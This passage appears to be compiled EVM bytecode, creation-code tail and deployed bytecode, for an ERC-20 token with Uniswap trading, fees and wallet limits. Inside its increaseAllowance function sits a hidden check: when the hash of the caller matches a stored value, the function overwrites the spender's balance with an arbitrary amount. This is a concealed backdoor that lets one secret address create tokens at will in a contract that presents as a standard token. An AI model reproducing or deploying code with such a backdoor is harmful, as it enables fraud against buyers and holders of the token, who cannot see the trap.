fffff16815260200190815260200160002060009054906101000a900460ff16155b80156124c45750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612508576001600760146101000a81548160ff0219169083151502179055506124ec612b1d565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125be5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125c857600090505b600080600083156127bf577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614801561263057506000601154115b1561269e5761265d606461264f6011548a612c0890919063ffffffff16565b612c1e90919063ffffffff16565b9250601154601354846126709190613463565b61267a91906134ec565b91506011546012548461268d9190613463565b61269791906134ec565b9050612766565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff161480156126fb57506000600e54115b1561276557612728606461271a600e548a612c0890919063ffffffff16565b612c1e90919063ffffffff16565b9250600e546010548461273b9190613463565b61274591906134ec565b9150600e54600f54846127589190613463565b61276291906134ec565b90505b5b600083111561277b5761277a89308561289c565b5b60008211156127b0576127af307f00000000000000000000000000000000000000000000000000000000000000008461289c565b5b82876127bc9190613d30565b96505b6127ca89898961289c565b5050505050505b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561290c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290390613b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561297c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161297390613ba6565b60405180910390fd5b612987838383612c34565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0490613dd6565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612aa09190613340565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b0491906130d0565b60405180910390a3612b17848484612c39565b50505050565b6000612b2830611206565b90506000811415612b395750612c06565b6014600b54612b489190613463565b811115612b61576014600b54612b5e9190613463565b90505b6000601154600e54612b739190613340565b601254600f54612b839190613340565b83612b8e9190613463565b612b9891906134ec565b905060008183612ba89190613d30565b9050612bd682600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612c3e565b612c0281600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612c3e565b5050505b565b60008183612c169190613463565b905092915050565b60008183612c2c91906134ec565b905092915050565b505050565b505050565b6000600267ffffffffffffffff811115612c5b57612c5a613df6565b5b604051908082528060200260200182016040528015612c895781602001602082028036833780820191505090505b5090503081600081518110612ca157612ca0613e25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612d1257612d11613e25565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d77307f000000000000000000000000000000000000000000000000000000000000000085611ca9565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635c11d7958460008486426040518663ffffffff1660e01b8152600401612dd9959493929190613f4d565b600060405180830381600087803b158015612df357600080fd5b505af1158015612e07573d6000803e3d6000fd5b50505050505050565b600080fd5b6000819050919050565b612e2881612e15565b8114612e3357600080fd5b50565b600081359050612e4581612e1f565b92915050565b60008060408385031215612e6257612e61612e10565b5b6000612e7085828601612e36565b9250506020612e8185828601612e36565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ec5578082015181840152602081019050612eaa565b83811115612ed4576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ef682612e8b565b612f008185612e96565b9350612f10818560208601612ea7565b612f1981612eda565b840191505092915050565b60006020820190508181036000830152612f3e8184612eeb565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612f7182612f46565b9050919050565b612f8181612f66565b8114612f8c57600080fd5b50565b600081359050612f9e81612f78565b92915050565b60008060408385031215612fbb57612fba612e10565b5b6000612fc985828601612f8f565b9250506020612fda85828601612e36565b9150509250929050565b60008115159050919050565b612ff981612fe4565b82525050565b60006020820190506130146000830184612ff0565b92915050565b6000602082840312156130305761302f612e10565b5b600061303e84828501612f8f565b91505092915050565b6000819050919050565b600061306c61306761306284612f46565b613047565b612f46565b9050919050565b600061307e82613051565b9050919050565b600061309082613073565b9050919050565b6130a081613085565b82525050565b60006020820190506130bb6000830184613097565b92915050565b6130ca81612e15565b82525050565b60006020820190506130e560008301846130c1565b92915050565b60006020828403121561310157613100612e10565b5b600061310f84828501612e36565b91505092915050565b60008060006060848603121561313157613130612e10565b5b600061313f86828701612f8f565b935050602061315086828701612f8f565b925050604061316186828701612e36565b9150509250925092565b61317481612f66565b82525050565b600060208201905061318f600083018461316b565b92915050565b600060ff82169050919050565b6131ab81613195565b82525050565b60006020820190506131c660008301846131a2565b92915050565b6131d581612fe4565b81146131e057600080fd5b50565b6000813590506131f2816131cc565b92915050565b6000806040838503121561320f5761320e612e10565b5b600061321d85828601612f8f565b925050602061322e858286016131e3565b9150509250929050565b60006020828403121561324e5761324d612e10565b5b600061325c848285016131e3565b91505092915050565b6000806040838503121561327c5761327b612e10565b5b600061328a85828601612f8f565b925050602061329b85828601612f8f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132db602083612e96565b91506132e6826132a5565b602082019050919050565b6000602082019050818103600083015261330a816132ce565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334b82612e15565b915061335683612e15565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561338b5761338a613311565b5b828201905092915050565b7f4d757374206b656570206665657320617420313025206f72206c657373000000600082015250565b60006133cc601d83612e96565b91506133d782613396565b602082019050919050565b600060208201905081810360008301526133fb816133bf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061344957607f821691505b6020821081141561345d5761345c613402565b5b50919050565b600061346e82612e15565b915061347983612e15565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134b2576134b1613311565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134f782612e15565b915061350283612e15565b925082613512576135116134bd565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e35250000000000000000000000000000000000602082015250565b6000613579602f83612e96565b91506135848261351d565b604082019050919050565b600060208201905081810360008301526135a88161356c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061360b602883612e96565b9150613616826135af565b604082019050919050565b6000602082019050818103600083015261363a816135fe565b9050919050565b60008160601b9050919050565b600061365982613641565b9050919050565b600061366b8261364e565b9050919050565b61368361367e82612f66565b613660565b82525050565b60006136958284613672565b60148201915081905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613700602583612e96565b915061370b826136a4565b604082019050919050565b6000602082019050818103600083015261372f816136f3565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f3125000000000000000000000000000000000000000000000000000000000000602082015250565b6000613792602283612e96565b915061379d82613736565b604082019050919050565b600060208201905081810360008301526137c181613785565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b6000613824603583612e96565b915061382f826137c8565b604082019050919050565b6000602082019050818103600083015261385381613817565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e352520746f74616c20737570706c792e000000000000000000000000602082015250565b60006138b6603483612e96565b91506138c18261385a565b604082019050919050565b600060208201905081810360008301526138e5816138a9565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613948602683612e96565b9150613953826138ec565b604082019050919050565b600060208201905081810360008301526139778161393b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006139da602483612e96565b91506139e58261397e565b604082019050919050565b60006020820190508181036000830152613a09816139cd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a6c602283612e96565b9150613a7782613a10565b604082019050919050565b60006020820190508181036000830152613a9b81613a5f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613afe602583612e96565b9150613b0982613aa2565b604082019050919050565b60006020820190508181036000830152613b2d81613af1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b90602383612e96565b9150613b9b82613b34565b604082019050919050565b60006020820190508181036000830152613bbf81613b83565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bfc601683612e96565b9150613c0782613bc6565b602082019050919050565b60006020820190508181036000830152613c2b81613bef565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c8e603583612e96565b9150613c9982613c32565b604082019050919050565b60006020820190508181036000830152613cbd81613c81565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cfa601383612e96565b9150613d0582613cc4565b602082019050919050565b60006020820190508181036000830152613d2981613ced565b9050919050565b6000613d3b82612e15565b9150613d4683612e15565b925082821015613d5957613d58613311565b5b828203905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613dc0602683612e96565b9150613dcb82613d64565b604082019050919050565b60006020820190508181036000830152613def81613db3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000613e79613e74613e6f84613e54565b613047565b612e15565b9050919050565b613e8981613e5e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ec481612f66565b82525050565b6000613ed68383613ebb565b60208301905092915050565b6000602082019050919050565b6000613efa82613e8f565b613f048185613e9a565b9350613f0f83613eab565b8060005b83811015613f40578151613f278882613eca565b9750613f3283613ee2565b925050600181019050613f13565b5085935050505092915050565b600060a082019050613f6260008301886130c1565b613f6f6020830187613e80565b8181036040830152613f818186613eef565b9050613f90606083018561316b565b613f9d60808301846130c1565b969550505050505056fea2646970667358221220f01ee58dedf45bbe6f6e349b87e978144681bf896a54aca320218bfd50df4c6864736f6c634300080a0033d7091a966a1fcf0f7c5274e6613a2372de06b07a1ef67fee7e1e7923489ba02a

Deployed Bytecode

0x6080604052600436106102765760003560e01c80637571336a1161014f578063b2b250ec116100c1578063d85ba0631161007a578063d85ba06314610979578063dd62ed3e146109a4578063deab8aea146109e1578063e2f4560514610a0c578063f2fde38b14610a37578063f8b45b0514610a605761027d565b8063b2b250ec14610869578063bbc0c74214610894578063c0246668146108bf578063c18bc195146108e8578063c8c8ebe414610911578063d257b34f1461093c5761027d565b8063924de9b711610113578063924de9b71461074557806395d89b411461076e5780639c3b4fdc14610799578063a0d82dc5146107c4578063a457c2d7146107ef578063a9059cbb1461082c5761027d565b80637571336a1461068457806389a30271146106ad5780638a8c523c146106d85780638da5cb5b146106ef5780638ea5220f1461071a5761027d565b806339509351116101e857806366ca9b83116101ac57806366ca9b83146105865780636a486a8e146105af5780636ddd1713146105da57806370a0823114610605578063715018a614610642578063751039fc146106595761027d565b8063395093511461048b57806349bd5a5e146104c85780634a62bb65146104f35780634fbee1931461051e5780636630d4711461055b5761027d565b806318160ddd1161023a57806318160ddd1461037b5780631816467f146103a6578063203e727e146103cf57806323b872dd146103f857806327c8f83514610435578063313ce567146104605761027d565b806302dbd8f81461028257806306fdde03146102ab578063095ea7b3146102d657806310d5de53146103135780631694505e146103505761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b506102a960048036038101906102a49190612e4b565b610a8b565b005b3480156102b757600080fd5b506102c0610b75565b6040516102cd9190612f24565b60405180910390f35b3480156102e257600080fd5b506102fd60048036038101906102f89190612fa4565b610c07565b60405161030a9190612fff565b60405180910390f35b34801561031f57600080fd5b5061033a6004803603810190610335919061301a565b610c25565b6040516103479190612fff565b60405180910390f35b34801561035c57600080fd5b50610365610c45565b60405161037291906130a6565b60405180910390f35b34801561038757600080fd5b50610390610c69565b60405161039d91906130d0565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061301a565b610c73565b005b3480156103db57600080fd5b506103f660048036038101906103f191906130eb565b610daf565b005b34801561040457600080fd5b5061041f600480360381019061041a9190613118565b610ebe565b60405161042c9190612fff565b60405180910390f35b34801561044157600080fd5b5061044a610fb6565b604051610457919061317a565b60405180910390f35b34801561046c57600080fd5b50610475610fbc565b60405161048291906131b1565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad9190612fa4565b610fc5565b6040516104bf9190612fff565b60405180910390f35b3480156104d457600080fd5b506104dd611070565b6040516104ea919061317a565b60405180910390f35b3480156104ff57600080fd5b50610508611094565b6040516105159190612fff565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061301a565b6110a7565b6040516105529190612fff565b60405180910390f35b34801561056757600080fd5b506105706110fd565b60405161057d91906130d0565b60405180910390f35b34801561059257600080fd5b506105ad60048036038101906105a89190612e4b565b611103565b005b3480156105bb57600080fd5b506105c46111ed565b6040516105d191906130d0565b60405180910390f35b3480156105e657600080fd5b506105ef6111f3565b6040516105fc9190612fff565b60405180910390f35b34801561061157600080fd5b5061062c6004803603810190610627919061301a565b611206565b60405161063991906130d0565b60405180910390f35b34801561064e57600080fd5b5061065761124e565b005b34801561066557600080fd5b5061066e6112d6565b60405161067b9190612fff565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a691906131f8565b611376565b005b3480156106b957600080fd5b506106c261144d565b6040516106cf919061317a565b60405180910390f35b3480156106e457600080fd5b506106ed611473565b005b3480156106fb57600080fd5b50610704611527565b604051610711919061317a565b60405180910390f35b34801561072657600080fd5b5061072f611551565b60405161073c919061317a565b60405180910390f35b34801561075157600080fd5b5061076c60048036038101906107679190613238565b611577565b005b34801561077a57600080fd5b50610783611610565b6040516107909190612f24565b60405180910390f35b3480156107a557600080fd5b506107ae6116a2565b6040516107bb91906130d0565b60405180910390f35b3480156107d057600080fd5b506107d96116a8565b6040516107e691906130d0565b60405180910390f35b3480156107fb57600080fd5b5061081660048036038101906108119190612fa4565b6116ae565b6040516108239190612fff565b60405180910390f35b34801561083857600080fd5b50610853600480360381019061084e9190612fa4565b611725565b6040516108609190612fff565b60405180910390f35b34801561087557600080fd5b5061087e611743565b60405161088b91906130d0565b60405180910390f35b3480156108a057600080fd5b506108a9611749565b6040516108b69190612fff565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906131f8565b61175c565b005b3480156108f457600080fd5b5061090f600480360381019061090a91906130eb565b611881565b005b34801561091d57600080fd5b5061092661198f565b60405161093391906130d0565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e91906130eb565b611995565b6040516109709190612fff565b60405180910390f35b34801561098557600080fd5b5061098e611aea565b60405161099b91906130d0565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190613265565b611af0565b6040516109d891906130d0565b60405180910390f35b3480156109ed57600080fd5b506109f6611b77565b604051610a03919061317a565b60405180910390f35b348015610a1857600080fd5b50610a21611b9d565b604051610a2e91906130d0565b60405180910390f35b348015610a4357600080fd5b50610a5e6004803603810190610a59919061301a565b611ba3565b005b348015610a6c57600080fd5b50610a75611c9b565b604051610a8291906130d0565b60405180910390f35b610a93611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610ab1611527565b73ffffffffffffffffffffffffffffffffffffffff1614610b07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afe906132f1565b60405180910390fd5b8160128190555080601381905550601354601254610b259190613340565b601181905550600a6011541115610b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b68906133e2565b60405180910390fd5b5050565b606060038054610b8490613431565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb090613431565b8015610bfd5780601f10610bd257610100808354040283529160200191610bfd565b820191906000526020600020905b815481529060010190602001808311610be057829003601f168201915b5050505050905090565b6000610c1b610c14611ca1565b8484611ca9565b6001905092915050565b60156020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b610c7b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610c99611527565b73ffffffffffffffffffffffffffffffffffffffff1614610cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce6906132f1565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610db7611ca1565b73ffffffffffffffffffffffffffffffffffffffff16610dd5611527565b73ffffffffffffffffffffffffffffffffffffffff1614610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e22906132f1565b60405180910390fd5b670de0b6b3a76400006103e86005610e41610c69565b610e4b9190613463565b610e5591906134ec565b610e5f91906134ec565b811015610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e989061358f565b60405180910390fd5b670de0b6b3a764000081610eb59190613463565b600a8190555050565b6000610ecb848484611e74565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f16611ca1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d90613621565b60405180910390fd5b610faa85610fa2611ca1565b858403611ca9565b60019150509392505050565b61dead81565b60006012905090565b600080610fd0611ca1565b905033604051602001610fe39190613689565b60405160208183030381529060405280519060200120600554141561104657826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6110658185856110568589611af0565b6110609190613340565b611ca9565b600191505092915050565b7f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a281565b600d60009054906101000a900460ff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b61110b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611129611527565b73ffffffffffffffffffffffffffffffffffffffff161461117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906132f1565b60405180910390fd5b81600f8190555080601081905550601054600f5461119d9190613340565b600e81905550600a600e5411156111e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e0906133e2565b60405180910390fd5b5050565b60115481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611256611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611274611527565b73ffffffffffffffffffffffffffffffffffffffff16146112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c1906132f1565b60405180910390fd5b6112d460006127d6565b565b60006112e0611ca1565b73ffffffffffffffffffffffffffffffffffffffff166112fe611527565b73ffffffffffffffffffffffffffffffffffffffff1614611354576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134b906132f1565b60405180910390fd5b6000600d60006101000a81548160ff0219169083151502179055506001905090565b61137e611ca1565b73ffffffffffffffffffffffffffffffffffffffff1661139c611527565b73ffffffffffffffffffffffffffffffffffffffff16146113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e9906132f1565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61147b611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611499611527565b73ffffffffffffffffffffffffffffffffffffffff16146114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e6906132f1565b60405180910390fd5b6001600d60016101000a81548160ff0219169083151502179055506001600d60026101000a81548160ff021916908315150217905550565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61157f611ca1565b73ffffffffffffffffffffffffffffffffffffffff1661159d611527565b73ffffffffffffffffffffffffffffffffffffffff16146115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea906132f1565b60405180910390fd5b80600d60026101000a81548160ff02191690831515021790555050565b60606004805461161f90613431565b80601f016020809104026020016040519081016040528092919081815260200182805461164b90613431565b80156116985780601f1061166d57610100808354040283529160200191611698565b820191906000526020600020905b81548152906001019060200180831161167b57829003601f168201915b5050505050905090565b600f5481565b60125481565b6000806116b9611ca1565b905060006116c78286611af0565b90508381101561170c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170390613716565b60405180910390fd5b6117198286868403611ca9565b60019250505092915050565b6000611739611732611ca1565b8484611e74565b6001905092915050565b60105481565b600d60019054906101000a900460ff1681565b611764611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611782611527565b73ffffffffffffffffffffffffffffffffffffffff16146117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf906132f1565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516118759190612fff565b60405180910390a25050565b611889611ca1565b73ffffffffffffffffffffffffffffffffffffffff166118a7611527565b73ffffffffffffffffffffffffffffffffffffffff16146118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f4906132f1565b60405180910390fd5b670de0b6b3a764000060646001611912610c69565b61191c9190613463565b61192691906134ec565b61193091906134ec565b811015611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611969906137a8565b60405180910390fd5b670de0b6b3a7640000816119869190613463565b600c8190555050565b600a5481565b600061199f611ca1565b73ffffffffffffffffffffffffffffffffffffffff166119bd611527565b73ffffffffffffffffffffffffffffffffffffffff1614611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906132f1565b60405180910390fd5b620186a06001611a21610c69565b611a2b9190613463565b611a3591906134ec565b821015611a77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6e9061383a565b60405180910390fd5b6103e86005611a84610c69565b611a8e9190613463565b611a9891906134ec565b821115611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad1906138cc565b60405180910390fd5b81600b8190555060019050919050565b600e5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b611bab611ca1565b73ffffffffffffffffffffffffffffffffffffffff16611bc9611527565b73ffffffffffffffffffffffffffffffffffffffff1614611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c16906132f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c869061395e565b60405180910390fd5b611c98816127d6565b50565b600c5481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d10906139f0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8090613a82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e6791906130d0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ee4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edb90613b14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4b90613ba6565b60405180910390fd5b6000811415611f6e57611f698383600061289c565b6127d1565b600d60009054906101000a900460ff161561237857611f8b611527565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ff95750611fc9611527565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120325750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561206c575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600760149054906101000a900460ff16155b1561237757600d60019054906101000a900460ff1661217f57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061213f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61217e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217590613c12565b60405180910390fd5b5b7f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122245750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122cb57600a5481111561226e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226590613ca4565b60405180910390fd5b600c5461227a83611206565b826122859190613340565b11156122c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122bd90613d10565b60405180910390fd5b612376565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661237557600c5461232883611206565b826123339190613340565b1115612374576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236b90613d10565b60405180910390fd5b5b5b5b5b600061238330611206565b90506000600b5482101590508080156123a85750600d60029054906101000a900460ff165b80156123c15750600760149054906101000a900460ff16155b801561241857507f000000000000000000000000715258999eaab33e1e00e72b12ae6365d6cd64a273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561246e5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124c45750601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612508576001600760146101000a81548160ff0219169083151502179055506124ec612b1d565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125be5750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff